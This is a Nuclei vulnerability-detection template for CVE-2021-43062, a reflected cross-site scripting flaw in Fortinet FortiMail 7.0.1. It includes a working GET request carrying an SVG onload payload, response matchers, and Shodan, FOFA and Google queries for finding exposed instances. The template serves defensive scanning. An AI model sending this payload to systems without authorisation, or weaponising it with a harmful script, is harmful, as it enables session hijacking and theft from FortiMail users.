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Fortinet FortiMail 7.0.1 - Cross-Site Scripting

ID: CVE-2021-43062

Severity: medium

Author: ajaysenr

Tags: cve,cve2021,fortimail,xss,fortinet,edb

A cross-site scripting vulnerability in FortiMail may allow an unauthenticated attacker to perform an attack via specially crafted HTTP GET requests to the FortiGuard URI protection service.

id: CVE-2021-43062
info:
name: Fortinet FortiMail 7.0.1 - Cross-Site Scripting
author: ajaysenr
severity: medium
description: A cross-site scripting vulnerability in FortiMail may allow an unauthenticated attacker to perform an attack via specially crafted HTTP GET requests to the FortiGuard URI protection service.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the targeted user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Apply the latest security patch or upgrade to a non-vulnerable version of Fortinet FortiMail.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2021-43062
- https://www.fortiguard.com/psirt/FG-IR-21-185
- https://www.exploit-db.com/exploits/50759
- https://fortiguard.com/advisory/FG-IR-21-185
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-43062
cwe-id: CWE-79
epss-score: 0.00709
epss-percentile: 0.79992
cpe: cpe:2.3:a:fortinet:fortimail:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: fortinet
product: fortimail
shodan-query: http.title:"fortimail"
fofa-query:
- title="fortimail"
- fortimail && port=443
google-query: intitle:"fortimail"
tags: cve,cve2021,fortimail,xss,fortinet,edb
http:
- method: GET
path:
- "{{BaseURL}}/fmlurlsvc/?=&url=https%3A%2F%2Fgoogle.com<Svg%2Fonload%3Dalert(document.domain)>"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<Svg/onload=alert(document.domain)>"
- "FortiMail Click Protection"
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 4a0a00473045022046e4070eeb68dc4f275825007e20dd17895c2850e22a7ae97e4695c100e3e4f2022100ab3657b368f70a54352615bbe81199e4499938ec5a62b20a5bad66918fa7a581:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

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